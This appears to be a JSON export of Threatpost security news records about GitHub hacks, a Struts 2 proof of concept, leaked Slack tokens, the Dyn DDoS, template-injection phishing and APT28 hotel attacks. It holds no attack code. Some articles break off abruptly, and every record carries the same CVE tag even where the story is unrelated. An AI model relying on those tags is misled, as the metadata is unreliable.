cookies](<http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html>) last March.\n\nGithub kicked off its bug bounty program just over a week ago by promising to award anywhere from $100 to $5,000 to researchers who discover vulnerabilities in the site or other applications like its API or Gist. As Homakov\u2019s vulnerability involved both Github and Gist and fetched $4,000, it was clearly of concern to the site, with the way the vulnerabilities \u201c[fit so nicely together](<https://twitter.com/homakov/status/431685133570031617>),\u201d impressing Github.\n", "cvss3": {}, "published": "2014-02-11T10:53:58", "type": "threatpost", "title": "Five OAuth Bugs Lead to Github Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2014-02-13T22:01:16", "id": "THREATPOST:1F0994F898084346360FB7C6EFEC201C", "href": "https://threatpost.com/five-oauth-bugs-lead-to-github-hack/104178/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-05-30T05:51:35", "description": "Proof-of-concept code found on the GitHub repository could allow attackers to easily take advantage of a recently identified vulnerability in the Apache Struts 2 framework.

The Apache Software Foundation [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) the vulnerability for all supported versions of Struts 2. Users of Struts 2.3 are advised to upgrade to 2.3.35 and users of Struts 2.5 need to upgrade to 2.5.17.\n\nLiska said the Apache Struts 2 vulnerability is potentially even more damaging than a similar [2017 Apache Struts bug used to exploit Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>).\n\n\u201cUnlike that vulnerability, this one does not require any plug-ins to be present in order to exploit it, a simple well-crafted URL is enough to give an attacker access to a victim\u2019s Apache Struts installation and there is already exploit code on Github and underground forums are talking about how to exploit it. The worst part for many large organizations is that they may not even know they are vulnerable because Struts underpins a number of different systems including Oracle and Palo Alto,\u201d Liska said.\n\nThe fact that a patch is available to fix the vulnerability should give cold comfort to companies potentially impacted by the flaw.\n\n\u201cThe Equifax breach happened not because the vulnerability wasn\u2019t fixed, but because Equifax hadn\u2019t yet updated Struts to the latest version. If this is a true working PoC, then any company who hasn\u2019t had the time to update their software, will now be at even greater risk,\u201d said Oege de Moor, chief executive officer at Semmle.\n\nDe Moor said Semmle is not confirming whether the reported PoC is functional.\n\n\u201cIf it is [functioning], attackers now have a quicker way into the enterprise,\u201d de Moor wrote in a prepared statement Friday. \u201cThere is always a time lag between the announcement of a patch and a company updating its software. There are many reasons why companies can\u2019t update software like Struts immediately, as it is used for many business-critical operations.

Last December researcher Ben Cox decided to collect as many of those keys as he could and see what he could find out about them. He began the project on Dec. 27 and by Jan. 9 he had collected more than 1.3 million SSH keys.\n\n\u201cI took a stab at this in 2013 but found that too many people didn\u2019t use GitHub in SSH mode and thus had no keys set. This time however (with a new program that used the events api) I found that the majority of active users had some SSH keys in there,\u201d Cox said in a blog [post](<https://blog.benjojo.co.uk/post/auditing-github-users-keys>) detailing the project.\n\nAfter collecting the keys, Cox began analyzing them. One of the things he looked at was the strength of the key, and he discovered that seven of the keys in his set were just 512 bits, and two others were 256 bits. Those key lengths are short enough to be in the range of factorization on many modern machines.\n\n\u201c512 bit keys have been known to be factorable in less than 3 days. The main example of this is the Texas Instruments calculator firmware signing key that was broken, allowing the modding community to upload any firmware that they wanted,\u201d Cox said.\n\n\u201cI tried on my own to make a 256 bit key and factor it, and the process took less than 25 minutes from having the public SSH key to the factoring of primes (on a subpar processer by today\u2019s standards, and then a few more minutes to transform those back into a SSH key that I could log into systems with. This risk isn\u2019t only real if someone had gathered together top of the line mathematicians or supercomputers worth of power, the 256 bit key I factored was factored on a i5-2400 in 25 mins.\u201d\n\nThe bigger issue, however, is that Cox found what he calls a \u201cvery large amount\u201d of SSH keys in the set that were vulnerable to the [Debian OpenSSL bug](<https://lists.debian.org/debian-security-announce/2008/msg00152.html>) from 2008. That vulnerability existed in certain versions of Debian and resulted from the fact that the OpenSSL random number generator included in those versions was predictable. That means that cryptographic keys generated with vulnerable versions could be guessable. The bug affected SSH keys, VPN keys, and DNSSEC keys, among others.\n\nCox compared the list of keys he had gleaned from GitHub to a list of keys affected by the Debian flaw and found that some of the accounts using vulnerable keys had access to some large and sensitive GitHub repositories. Some of those repositories include Yandex, the Russian search provider, Spotify, the cryptographic libraries for Python, and Python\u2019s core.\n\nCox disclosed the problem to GitHub in early March and the vulnerable keys were revoked on May 5. The other weak and low-quality keys he discovered were revoked on June 1.\n", "cvss3": {}, "published": "2015-06-03T07:37:04", "type": "threatpost", "title": "Audit of GitHub SSH Keys Finds Many Still Vulnerable to Old Debian Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-06-04T15:34:07", "id": "THREATPOST:9F1389C4D97BAD7FDE2519A42E4594E2", "href": "https://threatpost.com/audit-of-github-ssh-keys-finds-many-still-vulnerable-to-old-debian-bug/113117/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:25", "description": "Popular collaboration and communication firm Slack rushed to plugged a security hole in its platform Thursday that was leaking some of its users\u2019 private chats and files for anyone to access.\n\nSlack, a leading tool used by companies to communicate internally, was alerted by security firm Detectify Labs who discovered Slack users were unwittingly sharing sensitive company information on the dev site GitHub.\n\nGitHub, another popular service used by the developer community to collaborate on projects, was unknowingly hosting hundreds of Slack bots that contained API information (or Slack tokens) that unintentionally gave third parties access to private Slack networks and data stored on them.\n\nSlack bots are created by companies to be used on their private Slack platform. They can serve either silly or serious purposes. For example, a Slack bot could be programmed to reboot servers by a user who simply types the request \u201cSlack bot, please reboot server\u201d. Another Slack bot request might be \u201cWhat\u2019s the weather for tomorrow?\u201d\n\nOver the years, thousands of Slack bots have been created by companies to carry out these conversational instructions. Hundreds of those developers decided to share their Slack bot programming code on sites such as GitHub. The idea is, other developers might want to reuse a useful Slack bot or modify the code so the Slack bot can do something new.\n\n\u201cThese developers were proud of their creation. They wanted to share their hard work with the rest of the developer community,\u201d said Rickard Carlsson, CEO of Detectify in an interview with Threatpost.\n\nThat\u2019s where developers ran into trouble. Unbeknownst to the developers sharing their Slack bots with GitHub was the fact they were also uploading their company\u2019s unique API key or token inside the Slack bot code. That meant a third-party could remove the Slack token and use it to hack into the Slack account of the person who originally created it.\n\nWhen Detectify searched for Slack tokens left behind on GitHub it discovered that those tokens could be used to access chats, files and private message data shared among Slack developer teams.\n\nAffected, Carlsson told Threatpost, were tokens belonging to individual users but also Fortune 500 companies, payment providers, multiple internet service providers and health care providers. In one case, Detectify reported it stumbled upon everything from \u201crenowned advertising agencies that want to show what they are doing internally. University classes at some of the world\u2019s best-known schools. Newspapers sharing their bots as part of stories.\u201d\n\nIn a [blog post outlining its discovery](<https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/>) Thursday, Detectify wrote, \u201cIn the worst case scenario, these tokens can leak production database credentials, source code, files with passwords and highly sensitive information.\u201d Detectify said it discovered the flaw earlier this month.\n\nAt first, Slack acknowledged the problem, but reminded researchers at Detectify that it\u2019s the users\u2019 responsibility to not share tokens and remove them when they are no longer needed. Slack has since updated its positions on tokens, telling Detectify \u201cWe\u2019re proactively looking for tokens ourselves now, and reaching out to customers to let them know when we\u2019ve disabled tokens and where we found them. We\u2019ll deactivate these in the next batch.\u201d\n\nSlack\u2019s email sent to its customers explaining the situation can be read online [via Detectify\u2019s website](<https://labs.detectify.com/wp-content/uploads/2016/04/Screen-Shot-2016-04-28-at-14.53.38.png>).

We warn developers when they generate a token never to share it with other users or applications. Our customers\u2019 security is of paramount importance to us, and we will continue to improve our documentation and communications to ensure that this message is urgently expressed.\u201d\n\nDetectify\u2019s last piece of advice: \u201cNever commit credentials inside code.

The attacks came in two waves, one early Friday morning and a second just a few hours later.\n\n\u201cThis attack is mainly impacting U.S. East and is impacting Managed DNS customers in this region. Our engineers are continuing to work on mitigating this issue,\u201d according to a [statement by the company to customers](<https://www.dynstatus.com/>).\n\nAs of 5:30 p.m. EDT Dyn was still reporting it was investigating and mitigating several DDoS attacks against its domain name servers.\n\nIt\u2019s unclear how many sites have been impacted. For hours Friday morning many popular sites appeared to be experiencing outages or extremely sluggish performance including Twitter, Etsy, Github, SoundCloud, Spotify, Heroku, PagerDuty and Shopify. Dyn representatives would not confirm if each one of these outages was tied to the DDoS attack.\n\nBoth the Department of Homeland Security and the Federal Bureau of Investigation said they were monitoring the attacks. Gillian Christensen, acting deputy press secretary for DHS said in a statement: \u201cDHS and FBI are aware and are investigating all potential causes.\u201d\n\nManchester, New Hampshire-based Dyn said it first began monitoring the DDoS attack at 7:10 a.m. EDT Friday. The company said in a statement to customers:\n\n> \u201cStarting at 11:10 UTC on October 21th-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available.\u201d\n\nDyn said at 9:36 a.m. EDT, its services were restored and many of its affected customers, including Twitter, were back online. However, at 11:52 a.m. (EDT) Dyn updated its network status reporting an additional attack impacting its managed DNS infrastructure. Then 40 minutes later Dyn added the attacks had spread to its \u201cmanaged DNS advanced services with possible delays in monitoring.\u201d\n\nIt\u2019s unclear, at this time, the source of the DDoS attack, Dyn said.\n\nDale Drew, chief security officer for telecommunications firm Level 3 Communications said he had been monitoring the attack and the likely source were overseas hackers targeting U.S. cyber infrastructure. He added, [via a video statement posted to Periscope](<https://www.periscope.tv/w/1lPJqYjVMlZJb>), \u201cWe are seeing attacks coming from an Internet of Things botnet we have identified as Marai.\u201d\n\nSecurity firm Flashpoint also identified Marai as the likely culprit in the attack.\n\nThe Mirai malware continues to recruit vulnerable IoT devices into botnets [at a record pace](<https://threatpost.com/mirai-bots-more-than-double-since-source-code-release/121368/>), one that\u2019s only gone up since the source code for Mirai was made [public two weeks ago](<https://threatpost.com/source-code-released-for-mirai-ddos-malware/121039/>), according to Level 3.\n\nCraig Young, principle security researcher at Tripwire said the attack has telltale signs of an IoT-based DDoS attack similar to ones experienced by [Krebs on Security](<https://threatpost.com/iot-botnets-are-the-new-normal-of-ddos-attacks/121093/>) in September. In those attacks, hackers also used Mirai malware to compromise IoT devices to launch DDoS attacks.\n\n\u201cWe are seeing an increase in the number of high-intensity attacks that leverage compromised consumer DVRs and cameras. Without being able to analyze the source of Dyn\u2019s traffic it\u2019s impossible to know for sure. But what we are already seeing today, in terms IoT-based attacks, is the tip of the iceberg,\u201d Young said.\n\nRequests to Dyn for information on the source of the attacks have not been returned.\n\nYoung said that security experts have seen an increase in DDoS extortion attempts. However, he points out, many have been hoaxes and when companies didn\u2019t pay up nothing happened.\n\nForeScout CEO, Michael DeCesare said that attacks, such as the ones carried out Friday, are exasperated by the lack of security in IoT devices.\n\n\u201cThese attackers can now recruit an army of IoT devices to launch a wide scale DDoS attack due to the volume of these devices and their ease of infiltration,\u201d DeCesare said in a prepared statement regarding Friday\u2019s attacks.\n\n\u201cThe question corporations should be asking themselves is whether or not their devices are being exploited as part of these attacks. The solution starts with visibility \u2013 you cannot secure what you cannot see,\u201d he said.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232928/Threatpost_Level3_outage_map.jpg>)\n\nLevel3 live outage map on Friday 9:50 AM (EDT)\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232859/Screen-Shot-2016-10-21-at-5.18.29-PM.png>)\n\nLevel3 live outage map on Friday 5:20 PM (EDT)\n\n_This article was updated Oct. 21 at 5:30 p.m. with new information from the Department of Homeland Security, new information tying the attacks to Mirai malware and quotes from both Level 3 Communications and ForeScout. \n_\n", "cvss3": {}, "published": "2016-10-21T10:01:14", "type": "threatpost", "title": "DYN Confirms DDoS Attack Knocking Out Twitter, Spotify Other Major Sites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-10-21T21:37:20", "id": "THREATPOST:0FC293825070B81036932BDB41D793B5", "href": "https://threatpost.com/dyn-confirms-ddos-attack-affecting-twitter-github-many-others/121438/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:25", "description": "Days after news broke last week that advanced, persistent threat actors penetrated nuclear facilities, researchers are explaining techniques used by adversaries to gain toeholds in similar targets in energy. Cisco Talos reported Friday that email-based attacks, leveraging template injection techniques, targeting nuclear facilities and others have been ongoing since May.\n\n\u201cTalos has observed attackers targeting critical infrastructure and energy companies around the world, primarily in Europe and the United States. These attacks target both the critical infrastructure providers, and the vendors those providers used to deliver critical services,\u201d [researchers wrote on Friday](<http://blog.talosintelligence.com/2017/07/template-injection.html#more>).\n\nAdversaries are leveraging classic Word document-based phishing attacks, they said. However, the Word document attachments used in the phishing campaigns do not contain malicious VBA macros or embedded scripting. Instead, attachments attempt to download a malicious template file over a Server Message Block (SMB) connection so that the user\u2019s credentials can be harvested, researchers said.\n\nCisco Talos did not claim this specific attack was used against Wolf Creek Nuclear Operating Corporation or in connection with any specific attack cited in a joint report issued by the Department of Homeland Security and the Federal Bureau of Investigation last week. Neither did researchers claim attacks had ever led to a hacker breaching or disrupting the core systems controlling operations at an energy plant.\n\n\u201cOne objective of this most recent attack appears to be to harvest credentials of users who work within critical infrastructure and manufacturing industries,\u201d Talos wrote.\n\nTargeted phishing attacks included DOCX type documents delivered as attachments under the guise of being an environmental report or a resume. While no malicious macros or scripting is embedded in the document, when a user opens it, a request is made via the SMB protocol for a template, as such \u201cContacting:\\\\\\ . . . \\Template.dotm.\u201d\n\n\u201cThe document was trying to pull down a template file from a particular IP,\u201d they noted. That connection was not via TCP 80 (often used for C2 communications), rather the SMB request was via TCP 445, a traditional Microsoft networking port.\n\nWithin the sandboxed VM \u201ca WebDAV connection was attempted over a SMB session when requesting the template.\u201d\n\nWebDAV is a Web-based Distributed Authoring and Versioning extension to the HTTP protocol that allows users to collaboratively edit and manage files on a remote server, according to [WebDAV Working Group](<http://www.webdav.org/>).\n\nUsing the WebDAV connection, the DOCX file requests a specific Relationship ID that is present in word/_rels/settings.xml.rels, or the XML instructions. According to researchers, the Relationship ID is identical to a phishing tool named Phishery, which uses the exact same ID in its template injection.\n\nPhishery is known as a credential harvester with a Word document template URL injector. According the [GitHub tool description](<https://github.com/ryhanson/phishery>), \u201cPhishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.\u201d Once the target opens the Word document attachment sent in the phishing email, the template request reaches out to a Phishery server that triggers a dialogue box on the victim\u2019s computer requesting a Windows username and password.\n\nTalos researchers said Phishery was not used in the attacks it observed. It theorizes attacks may have used modified Phishery code or used the same Relationship ID to thwart analysis.\n\nIn the sample Talos examined, unlike with Phishery that prompted users for credentials, instead a template file is requested from a third-party server with no Basic Authentication prompt for credentials. \u201cSuch a prompt was not needed nor seen for samples requesting the template over SMB,\u201d they wrote.\n\nOnce the target opens the Word document a template request is made to a third-party server that initiates the download of a potentially rogue template. \u201cThe attachment instead tries to download a template file over an SMB connection so that the user\u2019s credentials can be silently harvested. In addition, this template file could also potentially be used to download other malicious payloads to the victim\u2019s computer,\u201d researchers said.\n\nTalos explains that the attacker\u2019s SMB server was down when it analyzed samples, making it impossible to determine the payloads (if any) that could have been dropped by the template being downloaded. \u201cForcing SMB requests to an external server has been a known security vulnerability for many years. Without further information it is impossible to conclude what the true scope of this attack was or what malicious payloads could have been involved.\u201d\n\nAccording to a _[New York Times](<https://www.nytimes.com/2017/07/06/technology/nuclear-plant-hack-report.html>)_ report of attacks against Wolf Creek Nuclear Operating Corporation included phishing lures with highly targeted email messages containing fake resumes for control engineering jobs.\n\nLate last month, the U.S. government warned critical infrastructure companies of hacking campaigns against nuclear and energy sector. \u201cHistorically, cyber actors have strategically targeted the energy sector with various goals ranging from cyber espionage to the ability to disrupt energy systems in the event of a hostile conflict,\u201d the report said.\n", "cvss3": {}, "published": "2017-07-10T14:34:03", "type": "threatpost", "title": "Energy, Nuclear Targeted with Template Injection Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-07-10T18:34:03", "id": "THREATPOST:6495B216452F8FF8CDF9A8F13AD41168", "href": "https://threatpost.com/energy-nuclear-targeted-with-template-injection-attacks/126727/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:10", "description": "Mike Mimoso and Chris Brook discuss the news of the week, including a password issue at Github, the xDedic marketplace, another Flash zero day, and how the poorly the FBI is doing with facial recognition software.\n\nDownload: [Threatpost_News_Wrap_June_17_2016.mp3](<http://traffic.libsyn.com/digitalunderground/Threatpost_News_Wrap_June_17_2016.mp3>)\n\nMusic by Chris Gonsalves\n\n[](<https://itunes.apple.com/us/podcast/digital-underground-podcast/id315355232?mt=2>)\n", "cvss3": {}, "published": "2016-06-17T11:15:12", "type": "threatpost", "title": "On xDedic, a Flash Zero Day, Facial Recognition, and More", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-06-28T13:58:31", "id": "THREATPOST:962241D6EFDC7F82640BA9171D82D0B7", "href": "https://threatpost.com/threatpost-news-wrap-june-17-2016/118745/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:54:19", "description": "The amount of insecure software tied to reused third-party libraries and lingering in applications long after patches have been deployed is staggering. It\u2019s a habitual problem perpetuated by developers failing to vet third-party code for vulnerabilities, and some repositories taking a hands-off approach with the code they host.\n\nThis scenario allows attackers to target one overlooked component flaw used in millions of applications instead of focusing on a single application security vulnerability. The real-world consequences have been demonstrated in the past few years with the [Heartbleed](<https://threatpost.com/openssl-fixes-tls-vulnerability/105300/>) vulnerability in OpenSSL, [Shellshock](<https://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x/108521/>) in GNU Bash, and a deserialization vulnerability exploited in a recent high-profile attack against the [San Francisco Municipal Transportation Agency](<https://threatpost.com/hackers-make-new-claim-in-san-francisco-transit-ransomware-attack/122138/>). These are three instances where developers reuse libraries and frameworks that contain unpatched flaws in production applications.\n\nSecurity researchers at Veracode estimate that 97 percent of Java applications it tested included at least one component with at least one known software vulnerability. \u201cThe problem isn\u2019t limited to Java and isn\u2019t just tied to obscure projects,\u201d said Tim Jarrett senior director of security, Veracode. \u201cPick your programming language.\u201d Gartner, meanwhile, estimates that by 2020, [99 percent of vulnerabilities](<http://www.gartner.com/smarterwithgartner/top-10-security-predictions-2016/>) exploited will be ones known by security and IT professionals for at least one year.\n\n**Code Reuse Saves Time, Invites Bugs**\n\nAccording to security experts, the problem is two-fold. On one hand, developers use reliable code that at a later date is found to have a vulnerability. Second, insecure code is used by a developer who doesn\u2019t exercise due diligence on the software libraries used in their project.\n\n\u201cThey\u2019ve heard the warnings and know the dangers, but for many developers open source and third-party components can be a double-edge sword \u2013 saving time but opening the door to bugs,\u201d said Derek Weeks, vice president and DevOps advocate at Sonatype.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232110/sonatype.png>)In an analysis of 25,000 applications, Sonatype found that seven percent of components had at least one security defect tied to the use of an insecure software component.\n\nRepositories GitHub, Bitbucket, Python Package Index and NuGet Gallery are essential tools helping developers find pre-existing code that adds functionality for their software projects without having to reinvent the wheel. Java application developers, for example, rely on pre-existing frameworks to handle encryption, visual elements and libraries for handling data.\n\n\u201cSoftware is no longer written from scratch,\u201d Weeks said. \u201cNo matter how new and unique the application, 80 percent of the code used in a software application relies on third-party libraries or components.\u201d\n\nHe said enterprises are more reliant on the software supply chain than ever before. But he says many of the go-to open-source repositories that make up that supply chain are not vetted libraries of reliable code. Rather, they are warehouses with a varying percentage of outdated projects with security issues.\n\nAccording to an analysis of Sonatype\u2019s own Central Repository in 2015, developers had made 31 billion download requests of open source and third-party software components, compared to 17 billion requests the year before. And when Sonatype analyzed its own code library, it found 6.1 percent of code downloaded from its Central Repository had a known security defect.\n\nWeeks says Sonatype\u2019s is doing better than other repositories that offer no tools, no guidance and no red flags to prevent developers from using frameworks with faulty code. \u201cThere is no Good Housekeeping Seal of Approval for third-party code.\u201d\n\n\u201cFaulty code can easily spawn more problems down the road for developers,\u201d said Stephen Breen, a principal consultant at NTT Com Security. \u201cEven when development teams have the best intentions, it\u2019s easy for developers working under tight deadlines to not properly vet the third-party code used in their software.\u201d\n\nBreen said when insecure code is unknowingly used to build a component within a software program, problems snowball when that component is used inside other larger components. One example of vulnerable third-party code reused repeatedly is a deserialization flaw in Apache Commons Collections (commons-collections-3.2.1.jar) \u2013 first reported in 2015 and patched in November of the same year.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232053/Threatpost_Veracode_Top_Java_vulns.png>)\n\nSource: Veracode\n\nJarrett found there are still 1,300 instances of the old vulnerable version of the Commons Collections lurking inside Java applications using Spring and Hibernate libraries and hosted across multiple open source code repositories.\n\n\u201cThe developer knows they are picking Spring or Hibernate for their development project. They don\u2019t take it to the next level and realize they are also getting Common Collections,\u201d Jarrett said. \u201cThat Common Collections library is then used by thousands more projects.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232108/apache.png>)According to Veracode, Apache Commons Collections is the sixth-most common component used in Java applications. It found that the unpatched versions of the software was in 25 percent of 300,000 Java applications scanned. Even more challenging for developers is updating those applications that are using the vulnerable version of libraries and frameworks since flaws were patched.\n\n\u201cThink of it like a faulty airbag. Carmakers used those faulty airbags in millions of vehicles. Now it\u2019s the carmaker on the hook to fix the problem, not the airbag maker,\u201d Jarrett said.\n\n**Leaky Apps, Bad Crypto, Injection Flaws Galore**\n\nVeracode said the Apache Common Collection example is the tip of the iceberg. When Veracode examined vulnerabilities tied to insecure code it found application information leakage, where user or application data can be leveraged by an attacker, is the most prevalent type of vulnerability, accounting for 72 percent of third-party code flaws. Second are cryptographic issues representing 65 percent of vulnerabilities. That was followed by Carriage Return Line Feed (CRLF) injection flaws and cross site scripting bugs.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232057/Threatpost_Veracode_Top_vuln_cats.png>)\n\nSource: Veracode\n\nCompounding the problem is an increased dependency on open-source components used in a wide variety of software products. The federal government is typical. It has an open-source-first policy as do many private companies. Relying on third-party libraries shortens development time and can improve the safety and quality of their software projects, Weeks said.\n\n\u201cNot only does code reuse save time but it also allows developers to be more innovative as they focus on creating new functionality and not writing encryption libraries from scratch,\u201d Weeks said. Done correctly, code reuse is a developer\u2019s godsend, he said.\n\nFor those reasons, security experts say it\u2019s time for the industry to stop and consider where code originates. Sonatype, which markets and sells code verification services, promotes the idea of documenting software\u2019s supply chain with what it calls a \u201csoftware bill of materials.\u201d That way developers can better scrutinize open-source frameworks before and after they are used; making it easier to update those applications that are using vulnerable old versions of libraries.\n\nSonatype said it found one in 16 components it analyzed had a vulnerability that was previously documented, verified and with additional information available on the Internet. \u201cI can\u2019t imagine any other industry where it\u2019s okay that one in 16 parts have known defects.\u201d\n\nThe problem is that among developers there is a mix of denial and ignorance at play. \u201cDevelopers choose component parts, not security,\u201d Weeks said. It should be the other way around.\n\n\u201cIf we are aware of malicious or bad libraries or code, of course we want to warn our users,\u201d said Logan Abbott, president of SourceForge, a software and code repository. \u201cWe scan binaries for vulnerabilities, but we don\u2019t police any of the code we host.\u201d\n\n**Repositories Say: \u2018We\u2019re Just the Host\u2019**\n\nRepositories contacted by Threatpost say their platforms are a resource for developers akin to cloud storage services that allow people to store and share content publicly or privately. They don\u2019t tell users what they can and cannot host with their service.\n\nThey say rooting out bugs in software should be on shoulders of developers \u2013 not repositories. Writing good vulnerability-free code starts at getting good code from healthy repositories with engaged users.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232105/bitbucket.png>)\u201cBitbucket is to a developer like Home Depot is to a carpenter,\u201d said Rahul Chhabria, product manager for Atlassian Bitbucket. \u201cWe\u2019ve built a hosting service with a variety of tools to help developers execute on their vision.\u201d\n\nChhabria said Bitbucket offers a range of tools to help sniff out bad or insecure components such as the third-party tool SourceClear for scanning dependency chains. It also offers Bitbucket that it says allows for team development of software projects and simplifies peer review. Another features, Bitbucket Pipelines, is also designed to help developers ship high quality code.\n\nGitHub is one of the largest repositories; it hosts 49 million public and private projects for its 18 million users. It does not scan or red flag insecure code hosted on its platform, according to Shawn Davenport, VP of security at GitHub. Instead developers can use third party-tools such as Gemnasium, Brakeman and Code Climate for static and dependency analysis.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232101/github.png>)\u201cThere is a lot of hidden risk out there in projects,\u201d Davenport said. \u201cWe do our best to make sure our developers know what tools are available to them to vet their own code.\u201d He estimates a minority GitHub developers take advantage of software scanning and auditing tools. \u201cUnfortunately security isn\u2019t a developers first priority.\u201d\n\nOther repositories told Threatpost they intentionally take a hands-off approach and say expecting them to police their own software isn\u2019t feasible, not part of their mission and nothing they plan to do. They point out, flawed or not, developers want access to all code \u2013 even older components.\n\n\u201cAn implementation of a library in one framework might not be a security risk at all,\u201d Breen said. He points out developers often temporarily revert to those old libraries as stopgaps should an updated version break a project.\n\n**Automated Scanning to the Rescue?**\n\nOne attempt at nipping the problem at the bud is the used of automated security vulnerability and configuration scanning for open source components. By 2019, more than 70 percent of enterprise DevOps initiatives will incorporate automated scanning, according to Gartner.

The goal is to provide developers a process for discovering and disclosing security vulnerabilities found in the Node.js module ecosystem. According to Node.js the approach is a hybrid solution that consists of a database of vulnerabilities and a community communication channel for vetting and disclosing vulnerable code.\n\n\u201cIt\u2019s not a story about security professionals solving the problem, it\u2019s about how we empower development with the right information about the (software) parts they are consuming,\u201d Weeks said. \u201cIn this case, the heart of the solution lies with development, and therefore requires a new approach and different thinking.\u201d\n", "cvss3": {}, "published": "2016-12-15T10:00:39", "type": "threatpost", "title": "Code Reuse a Peril for Secure Software Development", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-12-27T13:45:57", "id": "THREATPOST:87897784F4B89A5B9E8CE18E2324CC70", "href": "https://threatpost.com/code-reuse-a-peril-for-secure-software-development/122476/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:16", "description": "Russian-speaking cyberespionage group APT28, also known as Sofacy, is believed to be behind a series of attacks last month against travelers staying in hotels in Europe and the Middle East. APT28 notably used the NSA hacking tool EternalBlue as part of its scheme to steal credentials from business travelers, according to a [report](<https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html>) released Friday by security firm FireEye.\n\nOne of the goals of the attack is to trick guests to download a malicious document masquerading as a hotel reservation form that, if opened and macros are enabled, installs a dropper file that ultimately downloads malware called Gamefish. Gamefish establishes a foothold in targeted systems as a way to install the open source tool called Responder, according to FireEye.\n\n\u201cOnce inside the network of a hospitality company, APT28 sought out machines that controlled both guest and internal Wi-Fi networks,\u201d wrote authors of the report Lindsay Smith and Benjamin Read, both researchers with FireEye\u2019s cyber espionage team.\n\n\u201cTo spread through the hospitality company\u2019s network, APT28 used a version of the EternalBlue SMB exploit. This was combined with the heavy use of py2exe to compile Python scripts. This is the first time we have seen APT28 incorporate this exploit into their intrusions,\u201d researchers said.\n\nFireEye said APT28\u2019s objective was to steal credentials from business travelers using hotel Wi-Fi networks, which the researchers said they did not observe. FireEye does cite a 2016 hotel attack by APT28 with a similar modus operandi. In that incident, a hotel guest\u2019s username and password were stolen while they used the Wi-Fi network. Within 12 hours the victim\u2019s business network was compromised by someone using their credentials.\n\nOnce the foothold is established in the hotel\u2019s wi-fi system, hackers deployed the Responder tool in order to facilitate NetBIOS Name Service (NBT-NS) poisoning. \u201cThis technique listens for NBT-NS (UDP/137) broadcasts from victim computers attempting to connect to network resources. Once received, Responder masquerades as the sought-out resource and causes the victim computer to send the username and hashed password to the attacker-controlled machine,\u201d researchers said.\n\nThat username and hashed password from hotel guests is cracked offline and later used to escalate privileges in the victim\u2019s network, according to FireEye.\n\nIn all, hotels in seven European countries and one Middle Eastern country were targeted. \u201cBusiness and government personnel who are traveling, especially in a foreign country, often rely on systems to conduct business other than those at their home office, and may be unfamiliar with threats posed while abroad,\u201d researchers wrote.\n\nAPT28, or Sofacy, is the group implicated by a December [DHS report](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>) related to U.S. election hacks. In a report [released earlier this week](<https://threatpost.com/updates-to-sofacy-turla-highlight-2017-q2-apt-activity/127297/>), Kaspersky Lab said the group has adopted new macro techniques and continued to find new targets such as the French political party.\n\n\u201cThese incidents show a novel infection vector being used by APT28. The group is leveraging less secure hotel Wi-Fi networks to steal credentials and a NetBIOS Name Service poisoning utility to escalate privileges,\u201d FireEye wrote. \u201cPublicly accessible Wi-Fi networks present a significant threat and should be avoided whenever possible.\u201d\n", "cvss3": {}, "published": "2017-08-12T08:00:32", "type": "threatpost", "title": "APT28 Using EternalBlue to Attack Hotels in Europe, Middle East", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-08-12T11:12:17", "id": "THREATPOST:31661FC1D8CDC4988A6B8EB802933A7B", "href": "https://threatpost.com/apt28-using-eternalblue-to-attack-hotels-in-europe-middle-east/127419/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:28", "description": "Almost a year to the day since [Github announced its bug bounty program](<http://threatpost.com/github-launches-bug-bounty-program/103974>), the Git repository said yesterday that it will double its maximum payout to $10,000.\n\nBen Toews, a GitHub staffer, said yesterday that since the launch of the GitHub Security Bug Bounty, 73 previously unknown vulnerabilities have been patched.\n\n\u201cOf 1,920 submissions in the past year, 869 warranted further review, helping us to identify and fix vulnerabilities fitting nine of the OWASP top 10 vulnerability classifications,\u201d Toews said in a post to the GitHub blog.

